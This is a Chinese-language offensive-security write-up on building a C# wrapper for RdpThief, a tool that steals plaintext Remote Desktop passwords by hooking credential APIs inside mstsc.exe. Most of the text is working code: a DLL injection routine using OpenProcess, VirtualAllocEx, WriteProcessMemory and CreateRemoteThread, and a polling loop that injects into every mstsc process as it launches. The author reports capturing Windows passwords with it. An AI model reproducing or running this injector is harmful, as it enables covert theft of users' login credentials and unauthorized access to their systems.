Northeast Assassin King

Sharp Rdpthief

0x01

键盘记录程序通常用于捕获明文凭证。但是,很难用通用的键盘记录程序隔离密码,而且冗长的会话可能导致非常详细的输出,很难解析。

然后就有了rdp thief,通过API Hooking 从 mstsc.exe 中提取明文密码。

https://github.com/0x09AL/RdpThief

0x02

利用原理利用 API HOOK相关 API 处理完 mstsc 中输入 的明文凭据后,将其窃取。 MDSec 发现负责处理用户名,密码和域 的 API 分 别 为CredIsMarshaledCredentialW,CryptProtectMemory 和SspiPrepareForCredRead。

RDPthief要在用户输入账号密码前先把dll注入到mstsc进程中,找一个sharp dll注入模板

注入的进程名称改为mstsc

Process[] expProc = Process.GetProcessesByName("mstsc");

更改之后的代码如下

    static void Main(string[] args)
    {
        String dir =
       Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
        String dllName = "C:\\Windows\\Temp\\RdpThief.dll";
        Process[] mstscProc = Process.GetProcessesByName("mstsc");
        int pid = mstscProc[0].Id;

        IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
        IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
        IntPtr outSize;
        Boolean res = WriteProcessMemory(hProcess, addr,
       Encoding.Default.GetBytes(dllName), dllName.Length, out outSize);
        IntPtr loadLib = GetProcAddress(GetModuleHandle("kernel32.dll"),
       "LoadLibraryA");
        IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib,
       addr, 0, IntPtr.Zero);
    }

0x03

成功捕获windows密码

0x04

经过测试,mstsc.exe启动后,运行RDPthief已经可以窃取到windows的明文密码,代码中还需要加入一个循环,用循环的方法检测mstsc什么时候启动,使用 Thread.Sleep 方法在每次迭代之间暂停一秒钟

while (true)
            {
                Process[] mstscProc = Process.GetProcessesByName("mstsc");
                if (mstscProc.Length > 0)
                {
                    for (int i = 0; i < mstscProc.Length; i++)
                    {
                        int pid = mstscProc[i].Id;
                        IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
                        IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
                        IntPtr outSize;
                        Boolean res = WriteProcessMemory(hProcess, addr,
                       Encoding.Default.GetBytes(dllName), dllName.Length, out outSize);
                        IntPtr loadLib = GetProcAddress(GetModuleHandle("kernel32.dll"),
                       "LoadLibraryA");
                        IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr,
                       0, IntPtr.Zero);
                    }
                }
            Thread.Sleep(1000);//迭代中添加延时1000ms

完整代码,见github